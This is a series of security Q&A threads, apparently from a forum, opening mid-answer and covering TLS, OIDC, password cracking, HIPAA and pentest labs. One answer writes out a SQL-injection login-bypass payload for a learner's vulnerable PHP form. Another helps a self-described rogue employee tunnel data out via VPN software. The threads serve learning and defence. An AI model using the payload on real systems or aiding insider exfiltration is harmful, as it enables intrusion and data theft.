The trick is, then, not to give the private key to each tenant. Instead of having them share the same certificate, make them share the same SSL server. Run a single, trusted HTTPS server which uses the certificate, and then forwards the decrypted HTTP traffic to the relevant tenant (whose name is specified in the HTTP header -- no need for SNI support here). Indeed, a reverse proxy situation. Such a setup is safe (tenants are given nothing); however, it requires tenants to trust the shared SSL server (that's still better than requiring the tenants to trust each other), and it will interfere with (i.e. in all practicality, prevent) use of client certificates.


OpenID Connect with a chain of Relying Parties Is there a usage of OpenID Connect (OIDC) that allows for a chain of RP (terminology reference)
user -> RP#1
user <-redirect to chosen OP- RP#1
user -> OP: verifies identity
user <-redirects to RP#2- OP
user -> RP#2
user <-Signs this attestation and redirects to next RP in the chain- RP#2
user -> RP#1: Has an authenticated user by an OP, that is asserted by some other RP

The public component of RP#2's key could live at some /.well-known [link] path on RP#2
Why would someone want this?
It's useful if you need to authenticate a user from some other system that does not implement OIDC.

This is why we use the passport-js component in Gluu--for inbound identity.  You can find docs here.
user -> RP#1
user <- redirect to chosen OP (Gluu Server oxAuth component)
So I'm assuming here that the RP has published several "buttons", like "Login with Google", "Login with SAML IDP ABC", "Login with Github"... and that the user selects the OP of his choice. If this is the case, the RP#1 is performing "Discovery". That's good...
The trick here is that you are going to redirect to only one OP--your Gluu Server (really the oxAuth component of Gluu), using an  OpenID Connect Authn Request, specifying the right parameters, especially

"acr_values=passport_social&preselectedExternalProvider="

The idea is that you are giving a hint to the Gluu Server as to which OP you want the user redirected to for authn.
There's a little more to it, so read the docs. But hopefully you get the idea
user -> OP: verifies identity [at his chosen IDP]
user <-redirects to RP#2- OP
user -> RP#2
user <-Signs this attestation and redirects to next RP in the chain- RP#2
It's a tad unclear here. Post authn, the Gluu Server (oxAuth) returns a signed JWT per OpenID Connect--i.e. an id_token, with details of the authn event. In the passport-social authentication script, you the opportuuntiy to redirect to another RP if you like after the social authn happens. You could also implement extra steps in the consent phase, or the post-authn phase of the authentication workflow.
user -> RP#1: Has an authenticated user by an OP, that is asserted by some other RP
voila!
Note, you should also check out the Janssen project, although this is just OpenID Connect, and does not include passport-js of course. The Gluu Server is an integration of several open source components. In this case, you see why that's handy. In Gluu 4.x oxAuth is the OpenID Provider. In Gluu 5.x (coming soon), we'll migrate to Janssen (which is basically the same thing, but the project is now governed at the Linux Foundation).


John the Ripper and incremental mode I have a question about John the Ripper and it's incremental mode. As far as I know, the incremental mode is a brute-force mode, and it tries to get the password by systematic combining all possibilities for a password.

Depending on the password type it takes longer, that's clear. But let it be a md5 salted password hash. Is John automatically using the salt which is written in cleartext on /etc/shadow file to crack the password? or is it also guessing a valid salt?

Most attacks on salted hashes assume that the salt directly accompanies the hash, usually directly in the hash format itself, or in a "hash:salt" format.

If you know the plaintext and you're trying to figure out the salt, you can use methods like the ones in my answer here.

If you know neither the plaintext nor the salt, that's trickier. MDXfind can generate short salts for you and also accept wordlists as plain text, so if it's a short static salt shared among many passwords, you can discover the salt.

But out of the box, most tools aren't going to try to guess both the plaintext and the salt simultaneously unless you do something to explicitly make that happen.


Are there HIPAA requirements to encrypt our database hosted in AWS I'm developing Medical Billing & EHR Software. On completion we are planning to use AWS for hosting and thus provide SAAS.

Do we need to encrypt the MySQL database in order to keep HIPAA compliance? I'm aware of HIPAA  requirements for data at rest but I don't know how it applies to Amazon Web Services.

Do we need to encrypt MySQL database in order to keep HIPAA compliance?

Depending on how the entire system is built, it may not be required, but I hope that you do encrypt it.

First you need to identify what PHI (Protected health information) resides in your system and how it may travel through your system. Unless your clients already de-identified or anonymize the data sent to you it is a good assumption that every piece of data you receive is PHI.

A date of service and a patient's first name (or last name) included in a record make that record PHI.

If you believe you can protect the PHI in the database without encryption you need to be able to provide a good security argument that the PHI has other sufficient protections. Even if you can make that argument, the principle of defense in depth encourages additional protection (like encryption) in case your primary protection fails.

You really need to be talking to your company's legal team as HIPPA is a law and failure to comply with HIPAA requirements can result in civil and criminal penalties


Secure tunnel set up in an office environment Suppose I am a rogue employee and I want to syphon some sensitive data out of the office and I only have office internet access for this. My office internet access needs to go through a proxy server, called PS for simplicity. Local USB/CDrom drive access has also been disabled.

Can I ask if this is possible:

Because I can still use the internet, I can download tunnelling software (such as stunnel or equivalent), install it (the administrator did not disable software installation) and setup a secure channel to tunnel data back to a server which I have set up elsewhere? One problem is, all internet access has to go through PS. How easy can this done or is it even possible?

thanks

You could use any VPN software to do this, for example TunnelBlick. This works in any environment, not just locked down office environments. Indeed, it is used by people under oppressive regimes that restrict normal internet access (to Facebook, Twitter etc.). The people in China and Iran, to name a couple of examples, use this method. However, there has been news that certain VPN services have been blocked by the Chinese Information Ministry, so VPNs aren't totally foolproof. But then again, most companies will not have the same IT resources as a State will have, so they are likely to work in most offices.


what is a good public available iptables script for ddos mitigation? what is a good public available iptables script  for ddos mitigation?

Have a look at the questions on:

how a software application can defend against a DDoS attack
what techniques do advanced firewalls use

as the answers there will give some indication. Basically you can't do it in a device as the distributed nature of the attack means you need to have infrastructure which can cope, which is why DDoS protection services tend to be provided in conjunction with ISPs and depend more on active routing, path restrictions and upstream filtering.


Should you use a VPN while on the same network as the VPN server? This questions is somehow connected to this other one, where I asked whether it was better to have a dedicated VPN machine or to use the built-in VPN feature of the router when connecting from an external network to my home network.

Regardless of what approach is chosen, does it make sense to use a VPN when you are on the same local network of the VPN server?

I mean, obviously it makes more sense to use a VPN when you are on an untrusted network and you want to secure it, but is there any reason why you should force your local traffic through the VPN server even when you are on your local network?

In a corporate environment using a VPN for employees while they are on-site opens up some interesting possibilities.  You might be able to organize them by group or role and assign them IPs from certain pools and then build network rules around those ranges.  When someone from the Finance department connects, you can only allow their traffic to resources they should be able to access.

A VPN across the internal network would also encrypt all of the traffic from your end-user systems to the VPN device.  If you had zero trust in your networking infrastructure (hubs and vulnerable switches where you thought people could be running tcpdump all day long) the VPN might mitigate that weakness (although, an attacker might be able to try all kinds of attacks to impersonate the VPN).


SQL queries using SQL Injections do not work as I think they should I am trying to learn about SQL Injections. I have created a login form using PHP (I am quite new to PHP) as backend scripting language and MySQL as DBMS. Last day I asked a question about SQL Injections:
SQL Injection not working when I think it should, and it solved me some doubts, but now I have new doubts:

What I am trying to achieve is to bypass the login form that I have created, using SQL Injections. This is the script to check if the entered username and password belong to a user already registered (stored in the DB).

$email = $_POST['u_email'];
$password = $_POST['u_password'];

$query = "SELECT * FROM User WHERE EMAIL='$email' AND PASSWORD='$password'";
$result = $mysqli->query($query);
$counter = mysqli_num_rows($result);

echo "Counter: " . $counter . '<br>';
echo "Query: " . $query;
if($counter == 1)//Correct Login

I have to say that I am really confused about the result gotten when running the queries. I have created the following 3 examples where in each of them I insert different username and password values in the login form and the true is that I do not understand the gotten result of any of the examples, I think the results should be different.

1 Example: (abc@gmail.com is an existing email in the User table)

Input
Username: abc@gmail.com' OR '1'='1/*
Password: */

Output
Counter: 1
Query: SELECT * FROM User WHERE EMAIL='abc@gmail.com' OR '1'='1/*' AND PASSWORD='*/'

Should not the $counter variable value be 30 (30 is the number of registered users in the User table)?

When I run the following query  in the MySQL CLI:

SELECT * FROM User WHERE EMAIL='abc@gmail.com' OR '1'='1'

I get 30 rows, so why $counter value is 1 and not 30?

2 Example:  (xxx is NOT an existing email in the User table)

Input
Username: xxx' OR '1'='1/*
Password: */

Output
Counter: 0
Query: SELECT * FROM User WHERE EMAIL='xxx' OR '1'='1/*' AND PASSWORD='*/'

Should not the $counter variable value be 30 (30 is the number of registered users in the User table)?

When I run the following query  in the MySQL CLI:

SELECT * FROM User WHERE EMAIL='xxx' OR '1'='1'

I get 30 rows, so why $counter value is 0 and not 30?

3 Example: (abc@gmail.com is an existing email in the User table)

Input
Username: abc@gmail.com/*
Password: */

Output
Counter: 0
Query: SELECT * FROM User WHERE EMAIL='abc@gmail.com/*' AND PASSWORD='*/'

Should not the $counter variable value be 1?

When I run the following query  in the MySQL CLI:

SELECT * FROM User WHERE EMAIL='xxx' OR '1'='1'

I get 1 row, so why $counter value is 0 and not 1?

Example 1 & 2

This is because your query is applying this clause:

'1'='1/*'

If you have a comment character inside of your quotes the comment is not respected by the query parser, you would have to exit the quoted context first.

1 is returned as count because that's how many users have that email address.

Try this instead for example 1 (the same technique will apply to the others):

Username: abc@gmail.com' OR '1'='1'; --
Password: Whatever

This should make the query

SELECT * FROM User WHERE EMAIL='abc@gmail.com' OR '1'='1'; -- ' AND PASSWORD='Whatever'

Example 3

I'm guessing that you do not have a user with the email address abc@gmail.com/* set? Again, because of the quotes, it will be querying abc@gmail.com/* and not abc@gmail.com.


Is there any risk involved allowing users to create their own URL's I am about to launch a eCommerce platform where users have their own shop URL based on the username IE my username on stack is NoobSkie so I would access my shop at

www.example.com/noobskie/shop

Is there any thing that could go wrong with this setup with people trying to manipulate URL's?

It depends on the validation that is in place regarding the username.

If you already

whitelist the characters in the username to alphanumeric only
restrict the maximum size of the usernames
ensure username unicity
ensure that no username can match existing url's (depends on your site, maybe this is not needed.. It is if you have for example something like /default/shop or /welcome/shop)

, I don't see much of a risk :)


What data related to a specific web page can be obtained outside the browser? The browser has several built-in storages, such as local storage or indexedDB. Does it make sense to store sensitive data in them if there is a risk that some malware can access the browser's data directory?

You should avoid consider storing sensitive data at all. Conceptually, if a system is compromised, it doesn't matter where you store the data; any code that can examine's the browser's memory doesn't need to directly access localStorage or an indexedDB, since it could be read straight from memory. So, store only the data you need, but keep in mind that a compromised device cannot be trusted at all.


Static analysis of Android applications using Androguard I am building a project a part of which involves performing static analysis for Android applications.

I know of Androguard and its tools that help in analyzing Android apks. But I am stuck and don't know how to proceed after this. For example, using androaxml tool of Androguard I can convert binary Android xml to readable AndroidManifest.xml.

Similarly Androapkinfo displays information such as permissions, services, activities on a given APK.

But how can I use this information and determine what makes this AndroidManifest.xml or apk malicious?

I am not looking for exact answers but more of helpful advice, a push in the right direction and some things I should be doing is all I ask

I would take a look into apkinspector. It puts together in an easy gui androguard and other helpful tools. It will let you look at permissions that the apk uses and track down exactly where those permissions are exercised.

I recommend following blogs and RSS feeds that relate to this topic(Google for this, you'll find some good resources). Find an interesting article that profiles a malicious apk. Obtain that apk and follow the analysis yourself.

See this SE question. Check out all the answers they all have pretty good resources for you.


How does Dropbox actually protect against sharing copyrighted content? This TechCrunch article discusses how Dropbox uses hashing to check whether you're sharing copyrighted material "without actually looking at your stuff."
Specifically, they offer the following (unsourced) "official comment" from Dropbox:

  There have been some questions around how we handle copyright notices.
  We sometimes receive DMCA notices to remove links on copyright
  grounds. When we receive these, we process them according to the law
  and disable the identified link. We have an automated system that then
  prevents other users from sharing the identical material using another
  Dropbox link. This is done by comparing file hashes. We don’t look at
  the files in your private folders and are committed to keeping your
  stuff safe.

The hash-and-compare strategy sounds like a reasonable idea, but easily thwartable.
What's to stop me from creating seed.txt, a text file with some random contents, and zipping that together with copyrightedContent.mp4 to create innocuousArchive.zip?
Or, if they expand archives, adding a bunch of random (or zero) bytes to the top of the file itself?

(The purpose of this question is not necessarily to determine how Dropbox itself actually does this, but rather to explore different ways to do this in general—or whether it is feasible at all.)

The actual processes are not publicly known, however they do maintain an official Tech Blog which gives some insight to the internals of Dropbox. For instance, their post on Streaming File Synchronization (July 2014) provides a high-level overview of the "Dropbox File System" which dictates the handling of all user data in a highly efficient and reliable manner.

File System

The post explains the upload process pretty nicely, and they confirm that files are fragmented into as few blocks of length <= 4MB as possible to be stored in that form on their block store. They are progressively hashed (SHA-256) as they are isolated, and the hashes are used to tie together blocks in Dropbox's block store (blockserver). Associations between hashes are persisted in the meta store (metaserver) and feel a bit like directory listings.

Hashes act as metadata for the file blocks (all length <= 4MB) which is used by Dropbox to determine whether or not it's necessary for the client to transmit that block as a fresh addition to their servers. Whether or not the client needs to upload any blocks to Dropbox's blockservers will be stated in a response from their metaservers when the client specifies the block makeup of a particular file.

Uploading Data

For all intents and purposes of this answer, you can just consider "Server" to be one entity acting as both a metaserver and blockserver; both are under the control of Dropbox anyway. Here's what an upload might look like between a Server and some Client:

Client: SET "/video.avi" [h1, h2, h3, h4] ---> Server # cmd: try set record
Server: GET [h1, h3, h4] --------------------> Client # err: need h1/h3/h4; h2 exists
Client: ADD [h1, h3, h4], [b1, b3, b4] ------> Server # cmd: add blocks h1/h3/h4
Server: ACK ---------------------------------> Client # ack: blocks stored
Client: SET "/video.avi" [h1, h3, h4] -------> Server # cmd: retry set record
Server: ACK ---------------------------------> Client # ack: record defined

Simplified/changed a lot, omitted details not relevant to question. Intentional. Actual proto form on blog.

Detecting Content

Data blocks and their corresponding meta/hash values are held in separate stores from one another. If hash values are known ahead of time (e.g. given a massive database of DMCA-encumbered files and their constituent blocks) and they are only checking against the metastore entries, then I suppose they could carry out automated detection without looking at your files. Would be a fairly obscene stretch of the English language if that's what was meant.

I don't think it's unlikely that a considerable portion of maximum-length blocks (in this case 4MB blocks) of original and actively copyright-protected data would persist in an altered copy of protected material, even if changes are made to some portions of the file to the extent of obscuring its visual and/or audible identity from the vantage point of a human observer.

I believe Dropbox may actually handle video differently (says it on their blog, I think), but I'm not sure if they re-encode media to a standard type when played in the browser (if so, guess it would be another opening to accidentally see things they're not supposed to look at).


Can SQL test by using SqlMap tool harm a website? I am just learning about SQL injection attack, and I want to test this by using sqlmap on my own website.However I wonder if the attack can cause any harm on my website's services during the attack? Thank you.

You could corrupt or destroy all the data on the system.

Never try this on a live system. Clone one or build one in order to test.


Manually migrate to another process without using metasploit? There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID.
Imagine I have my own session running. How could I migrate to another process without using metasploit?
I know the question may sound vague. Even if you don't provide a complete answer but still give some pointers, I'd appreciate that.

There was recently a similar question here. The answer describes in a couple of steps how it works. In a second answer there is even a python example. I guess this also works relatively well with powershell - provided enough powershell programming expertise.


Email phishing scam asking customers for card details I work for a small ecommerce company and over the weekend we received a few emails from customers claiming to have received an email asking them to confirm their card details to process their orders.

Here is the text from the email:

  Hi Jan for some reason our payment processor could not process your order.

  Can you please reply back with your card details so we can manually process your order again.

  Card number -

  Expiry -

  Last 3 digits -

  Kind regards,

  Lucy Whetton

This email was sent from a gmail account using our company's name (company.name@gmail.com) but we do not use gmail (sales@company.name.com). We retail through ebay and our own site and our payments are processed through PayPal.

This sent us on a password changing frenzy yesterday, but today we're still receiving emails informing us of the scam. We've changed our PayPal password, the password for our email address associated with the retail site (order confirmations containing customer information are stored there) and our eBay password. We've also set our webserver to require known ssh-keys to login.

What other precautions should be taken to prevent further phishing emails affecting our customers?

1) Contact gmail, and ask them to shut down the gmail account that your customers would send their details to if they fall for the scam.

2) Notify all your customers that this is a scam, and they shouldn't reply to phishing emails like the one above.

3) Spend a bit of time and energy on finding out how/why this happene, and if possible who did it. E.g. a) SQLi on a customer database accessible through your website? b) Insider job? c) ....?


Unicast ARP Requests: Considered Harmful? I'm playing around with Snort's downloadable rules and I found one which is easy to activate: sending a unicast ARP request. Okay, so I start injecting ARP requests, making sure the destination is not set to broadcast. And sure enough, Snort picks it up. Great, let's move on and do more complex stuff.

Though, I'm not sure I understand why this rule exists at all. From what I've read most ARP spoofing/cache poisonning attacks make use of ARP replies; requests do not seem to cause anyone any trouble (here ("What can be done", paragraph 5) for example, unicast "keep-alive" requests are even said to be a problem when implementing attacks).

Yet this rule exists, and I cannot find any justification. Why is it suspicious for an ARP request to be unicast, when apparently in a lot of implementations this is considered a feature? There's a book on intrusion detection focusing on Snort that says "ARP requests that are sent to a Unicast address are often the sign of an attack designed to modify ARP caches". I... can't see how?

Then again, I don't have much experience with network security so I guess I'm not thinking creatively enough.

Possibly due to MAC flooding attack - a kind of Unicast flood attack where an attacker would exhaust space in the MAC allocation table of a switch, so not being able to find the right address in the address cache (all were supplied by the attacker), it would flood the packet out to all ports (if a switch received a unicast packet with a destination address unknown to it, the packet is treated like a broadcast packet and is sent out to all hosts on the network). After most/all/target legitimate MACs were forced out of the table, it's a nice time to start a packet sniffer as the previously unavailable packets that were spat out by the switch are purportedly available for capture. Even if no packet capture intended this is already a type of DoS attack, esp. in large networks (due to the number of clients talking to the switch), which certainly degrades network performance.

BTW, unicast ARP requests are legitimate as per RFC1122 which states on Page 23:

  (2)  Unicast Poll -- Actively poll the remote host by
                        periodically sending a point-to-point ARP Request
                        to it, and delete the entry if no ARP Reply is
                        received from N successive polls.  Again, the
                        timeout should be on the order of a minute, and
                        typically N is 2.


What is the diffference between HSM and PTS-approved point-of-interaction device? According to PCI-DSS requirement 3.5.2:

We should store secret keys in a cryptographic device.

Cryptographic devices:

1.HSM

2.PTS-approved point of interaction device

My questions:

I have some knowledge about HSM and it encrypts the KEK using Master key. Also read about Thales HSM and I'm aware about it. But when I was looking into PTS, I can't understand it.

What is PTS and is that a device like a HSM?
How does PTS differs from HSM?
Which is the best practice among HSM and PTS?

Very, very simple and in very simple words:

HSM: is an appliance that manages keys.

PTS: is basically a card reader which allows you to enter a PIN number.

I forgot to "actually" answer the other two questions but I guess that an image is worth a thousand words =)


More secure curve than Curve25519 As far as I know, Curve25519 offers "only" a security level equal to an 128bit symmetric cipher.
I'd like to know if there are new (not NIST) curves, which provide a security-level comparable to a 256bit cipher AND already used by some applications?

As far as I know, there are curves like E-521 or M-511 which have a very high security margin, but I don't know any implementation which is currently using them.

(Btw., I know that 128bit is considered secure, but it seems a little bit weird that we often use 256bit symmetric ciphers combined with 4K-RSA or an 256bit curve.)

There is nothing more secure than "secure". An attacker who can break it upfront, because it has "only" 128-bit security, is an attacker who has way more available computing power than all computers on Earth taken together (even including smartphones and coffee machines). It is implausible that such an attacker would swoop down so low as to bother breaking your key; he already knows all your thoughts, directs all your actions, and probably owns your soul as well.

Security levels beyond 128 bits are not meant to provide "more security", but to appease auditors, managers, customers and prospective mates (not necessarily in that order) by a powerful display of extra bits. This is like birds of paradise: by using an oversized key, you send the signal that you are so great that you can afford wasting CPU and network bandwidth on ridiculously enlarged cryptography.

Realistically, if (when) your key is broken, then it won't be through its size; it will be through software bug, hardware leak, or key misuse in a poorly designed protocol. In that sense, we can talk about actual security:

The designer of Curve25519 and author of its usual implementation is Daniel J. Bernstein, who is known to "know his trade". His code probably contains far fewer bugs than what most developers would do. Using his code is, all other things being equal, a good idea.
On the other hand, protocols are an important issue, and it is much easier to botch a protocol than a cryptographic algorithm implementation. By looking for a curve, you are looking for the wrong thing. You should think "what protocol should I use ?" and then (only then) worry about the specific curve, in case the protocol you chose happens to allow use of several curves. Curve25519 has not (yet) percolated into all or even most well-established protocols. For instance, there is no support for Curve25519 in SSL/TLS (there is one in SSH, though).


Need advice on automated virtual pentesting lab configurations I request you to read the problem before suggesting any duplicate or down-voting, I am well aware of hundreds of questions about somewhat similar problem but this one is just to attract some good advises and tricks. So here it goes

I am creating a testing environment on which some different teams of newbie guys will be performing a penetration test. I am arranging this lab for them to learn and to check their skills. I myself am not very much proficient but I am learning with everyone else, that is the first reason I decided to ask for suggestions and tricks.

Right now the setup is like this:

A 'home-made' cluster of 8 computers running Ubuntu 10.04 server is hosting all the virtual machines
We have Metasploitable, Ultimate Lamp, NET in VM, Windows XP, Windows 7 and CentOS with a bunch of vulnerable applications installed on each.
Server also have HoneyD installed on it operating with 30-50 honeypots.
Metasploitable and Ultimate Lamp are re-configured to make them hard to crack, basically, only a couple ports are open with vulnerabilities that can be exploited for least privileged access only (I collected the data from Metasploit database and exploit-db).
This virtual network is served on a physical network to which anyone can connect easily.

What I want is to automate a couple things so that I dont have to constantly keep an eye over the situation while our attackers are performing. Also, as there are different kind of peoples with different mindset I am looking for some arrangement to log and examine their actions and behavior. Everybody will be following a strict flow of actions so that they can go through all the techniques without skipping anything.

Desired workflow

Network Mapping and Vulnerability Scanning
Exploitation
Privilege escalation
Maintaining access with Rootkit and Backdoor
Cracking passwords and gaining access to every user account
Downloading some private files from users directory and extracting the information. (A kind of Steganography excercise)
Information extracted from those files will be used in further exercises.
Cleanup

I dont know about every person who will be performing on this setup but one thing is sure that they all are just one or two level up from basic. For convenience if you take 10 as measuring parameter I'd say that there are guys with 3 (at least) to 6 (at most) points. everyone will be performing with same set of tools, no 'backtrack' because I want to force everyone into a restricted environment, I customized a ubuntu distro which have following tools installed:

Network related

NMAP
DNSMap
DNSEnum
dsniff
driftnet
ettercap
arpspoof
scapy
sslstrip
sslsniff
sqlscan

Vulnerability scanning and exploitation

Nessus
Metasploit
Armitage
Fasttrack

Utilities

John the ripper, Cain & able, rainbowcrack, hydra, fcrackzip
stegdetect
testdisk, ddrescue, samdump
hashdeep (MD5, SHA1, SHA256)

I am looking into making this whole penetration venture based more on tactics rather than just technical flaws that can be exploited. I want to create some real life but not hard to crack scenario so that attackers can experience something new rather than just downloading the VM from internet and then following the tutorials to perform attacks.

I think the honeypot setup can be customized to be far more better than just deploying the honeypots but I am empty on thoughts, any suggestion on that would be appreciated.

I request you to advice on what more could be there to make this exercise suit an intermediate level of pentesting and putting a challenge up, even better if it can be turned into a competition among the attackers.

This would not serve the purpose to download and install the vulnerable machine with default configuration, I have to customize the setup or most of the guys will be having root access within seconds.

Also please share some tips and tricks that you think can spruce up the experience. Please take care that you suggest only the tool which you think must be there in our toolkit.

You can develop some challenges yourself. I suggest having a look at all the challenges which all have already been published on ctftime. Construct your own flaws within a new environment. This will make sure that they can't just download the solution from the internet.

Also just my 2 cents, but I think you should allow other tools than you allow now. Automated exploiting is easy mode. You should make 2 environments, one where they are allowed to use Nessus, Nexpose,... and one where they can't.
I would encourage them to create their own tools, as this is commonly done in reality as well. A good pentester can use and build tools himself when needed.

I see little tools in your kit for webexploiting (Zap or Burp (if you can't afford it go with Zap) for instance). In reality Web application assessments are on of the most sold A&P services at the moment.


How Reliably do mail systems transmit Encrypted PDFs We have an solution design that will be sending Encrypted PDF's to our many clients, who will all be using varied email providers.

We have tested the pdf's through the usual cast of internet mail providers, and to my surprise they are not blocked.

I believe that this is dangerous and I suspect that encrypted content may be blocked routinely by mail gateways in future, because virus scanners cannot verify if there is malware in the file. So these services fail-open vs fail-closed when observing these PDFs.

What do you-all think? Is this a danger? Has anyone else had this problem?

I am quite frankly surprised by this behavior.

Mail providers don't (necessarily) block encrypted attachments, but every IT organization has policies on this sort of thing. You really need to do some research on your target market to find out if their mail servers (or their settings for things like Postini) are configured to strip these attachments. Just asking mail providers and/or places like Postini isn't enough.


How to convince users that security is a good thing? So I took over as senior IT manager at a small company a couple months ago. Up to now, there was no "IT department" as such, just another guy who "did computers". To this point: things are running off a Windows workgroup with no users, everything is on a single LAN subnet (no DMZ, no WiFi controls, no VoIP priority), and the "file server" and "backup" were Win7 machines, one of which had a RAID card in it and the whole thing worked over broadcast WINS.

Since taking over, I have set up a real fileserver, some basic network segmentation, VoIP forwarding and other basic stuff. Users seem happy phones sound better and their files are backed up and served faster. Now comes the hard part.

I have set up a domain controller (and SDC), and silently migrated everyone to using DNS resolution for internal lookup - now I'm at the step of getting them all on the domain. The benefits seem obvious to me (centralized control, user management, etc.).  I have set up a couple of "shared" desktops and showed users how to log in, but gotten some pushback about it being harder/different than it used to be (it used to be that there was one Windows admin account with auto-login. Anyone who wanted to use any computer just sat down. No mind if someone else is logged into their email or clearly doing something). When ask WHY I am doing this, I have given the following answers and gotten the following responses:

What if you don't have a password on your computer? Someone could just send a nasty email from your account

  Why would someone do that?

Do you want someone messing with all your settings?

  I don't have a password now and no one does that

I need to know who you are so I know you are supposed to have access to these files

  I work here, of course I'm supposed to have access!

If I do this, then it becomes my fault if we get a virus and you get to blame me

  Well we haven't gotten a virus so far. Our network must be secure.
  It might be my fault but you know how to fix it so I'm not worried.

Having done some company-wide rollouts in my time, I expected this, and am proceeding undeterred. I think people get the value of this (permissions on directories), even if they don't like it. I have also taken to doing some temptation pairing: as users are migrated to the domain, they get access to the slack channel and an updated version of MS Office, which they seem to like.

At the end of the day, I think people see this step as a minor annoyance and are going to pretty much go along with me no matter what I do, but I do worry that if the users see me as doing things they don't like or taking things away from them, they will stop coming to me when they find issues or try to "find ways around me" to do what they want. How can I get some buy-in from users that these sort of changes are what they are looking for?

Quick edit for P.S.
 - Yes, I did dogfood and test my DC - my intern and I were using it for ~2 months before any users were even aware it existed.
 - Apologies if this is slightly off-topic - suggestions for edits are welcome.

You aren't going to be able to "win" this per se, most people have an adversarial attitude towards technology at best. They got their current understanding mostly through guess-work, trial-and-error, and a healthy dollop of luck, and they know it. Any change means going through that all over again.

That being said, most of the objections you are getting are completely non-sensical (again, the real objection is "I don't want to go through the painful process of learning a new workflow"). I would respond with "if no one had ever broken into your car/house, would you still lock the door?" or "you mean you completely trust every single person that ever worked here and ever will to impersonate you professionally?" etc. etc.

On to the real objection.

Technology has finally answered the age-old comedic question "just how dumb are people anyways?" definitively and in multiple ways on multiple levels (yes, including us!). Merely adding a login screen is enough to stymie some users, which is why computer training sessions go over mind-numbingly obvious (to certain people) things. Depending on the size of your org you are either going to need to offer training sessions or (if possible) have you/your staff sit down with users 1-on-1 to go over the new procedures.

Even that certainly won't make people happy, but will probably get you over the hump of adoption.


How dangerous is it to use third-party security audit tools? This question is inspired by two related questions (How safe is backtrack to use, and How to Install, Configure and Use LSAT on Unix SE).

Besides a dated (and patched) vulnerability in LSAT (CVE-2007-1500) I have searched through NVD/CVE and found a vulnerability in Backtrack: CVE-2012-0054.

My question is whether I am right in requiring a security specialist doing an audit of my systems not to run any automated third-party tools on any of my systems (even if their source code is publicly available and they are compiled from source on site).

Security testing implies risks.

Most security tools have warnings and disclaimers because they pose risks to systems they target. A security specialist would understand how using a particular tool or intrusive test can negatively impact the target systems but undesirable outcomes and accidents can happen. For example, a classic ‘OR ‘1’=’1 SQL injection in a DELETE query could very easily delete all the contents of the table.

Another example is NMAP scanner containing auditing script that are marked safe or intrusive. Some scripts are intrusive because they use significant resources on the remote system, are likely to crash the system or service, or are likely to be perceived as an attack by the remote administrators.

Auditing is a rather passive activity focused on observing rather than interacting with the target. Backtrack and other toolboxes focus more on active interaction that is typical of penetration tests.


Is running Powershell always as administrator a good practice? I work as software engineer in a company. The IT deparment has decided to forbid powershell execution from our computers as part of the actions they are implementing to avoid Emotet malware. As software developer I use Powershell every day. From now on, they allow us to execute powershell only as Administrator, we can not use it as a regular users (if you try, an error message appears informing you that "this operation has been cancelled due to the restrictions specified for this computer").

In principle, I can always use Powershell as administrator in my every day routine but, coming from the Linux world where you are taught to avoid root shell unless strictly needed, I wonder... is running Powershell always as admin a good practice?

is running Powershell always as admin a good practice?

Running anything with Administrator Privileges on Windows machines is generally not a good idea. With direct access to Windows API, ability to tamper with system files, registry, etc, an application with that kind of privileges is a serious security threat. Constrained language mode, turned on Applocker, or any other means to control the behavior of applications, logging, JEA, etc are a better way to control Powershell.

Since you did not clarify if there are any other methods of securing Powershell in your environment besides forcing it to launch in Admin mode, then the answer is NO, it is not a good practice to launch Powershell always as admin.


Is this possible in SAML? Scenario: Consider a huge and diverse federation of Identity (IDPs) and Service (SPs) providers. Since trust level is generally low, Identity providers are reluctant to give out any kind of personal identifiable information (PII).

Now there are some services requiring PII, the respective SPs follow some higher standards that are certifiable by a known (to the IDPs in question) central instance.

Question: Is it possible that the central instance hands out some certificate (working like a server certificate with respect to signature and revocability) telling this is a specially trusted SP and the SP can present that certificate to the IDP who verifies it and than issues PII? Can it be implemented using SAML?

Note: Simple having some non-certified attribute on the SP is clearly a non-starter: Once that attribute becomes known to a potentially rogue SP, they can just steal  (i.e., copy) it and use it themselves.

The SP sends a samlp:AuthnRequest when it wants a token. This request can be signed, and the IdP can decide whether the response should include whatever it wants. See section 3.4.1 "Element AuthnRequest".

However, which key is used to sign the request, who issues the certificate, and how the key ends up in the hands of the SP are out of scope of the protocol.

It also requires both parties support such a profile, as you can have IdP-Initiated and SP-Initiated requests.

Alternatively some services handle this problem by encrypting the attribute to a key only the SP knows and is built-in to the protocol. This too requires an out-of-band configuration, but can work with all profile types.


Is demanding a "donation" before disclosing vulnerabilities black hat behavior? We have been contacted by an "independent security researcher" through the Open Bug Bounty project. First communications were quite OK, and he disclosed the vulnerability found. We patched the hole and said "thank you", but declined to pay a donation (see below).

The researcher then sent a follow up email saying that he has found more vulnerabilities, but because we didn't make a donation, he will keep those vulnerabilities for himself.
In other words, he only told us he had more vulnerabilities, but would not disclose them, after we made the decision to not pay the suggested voluntary donation.

To my understanding, this is no longer in line with responsible white hat behavior. Am I right in this assertion?

Update
Yes, the person has been quite explicit in the suggested
amount for the donation.

The various reasons include for not paying the requested 'donation' are:

the suggested height of the 'voluntary donation' in combination with the severity of the vulnerability found,
the vulnerability in question was, according to our logs, not found by a 'highly skilled' individual, but rather by an automated tool,
the fact that the Open Bug Bounty project explicitly mentions that no payment is required,
the passive aggressive tone of voice.

The above, in combination with the fact that, while we are in the process of setting up a bug-bounty budget and associated policy, we haven't completed this yet.

Let's be clear: we did not set a bounty, nor promise one and we did not sign up for this project. The Open Bug Bounty project is an unaffiliated project, that explicitly says: "There is, however, absolutely no obligation or duty to express a gratitude".

Also, note: While I'm in support of some sort of legal framework to protect bona fide security researchers, this legal framework does not, at this moment, exist in our jurisdiction; a fact our legal person was all too keen to point out.

To my understanding, this is no longer in line with responsible 'white hat' behavior. Am I right in this assertion?

White (and grey/black) hat are vague terms. There is no fixed universal definition. By the wikipedia definitions most researchers would be viewed as Grey Hat seeing as its not uncommon to publish if the software publisher refuses to patch.

The easy answer to your question is no. If your aim is to make the world more secure then this clearly does not directly align. There is an indirect argument - that by encouraging financial reward it encourages a healthier relationship between businesses and researchers as well as encouraging more people into the field.

Why do you even ask? The researcher is in no way obliged to disclose to you. Unless you can prove he broke the law in finding the vulnerabilities you have no leverage to force him to. To date you have received several hours worth of work from a (hopefully - otherwise that casts yourselves into a bad light) high skilled individual entirely for free. Either you view it as worth paying him to continue offering services or you don't.

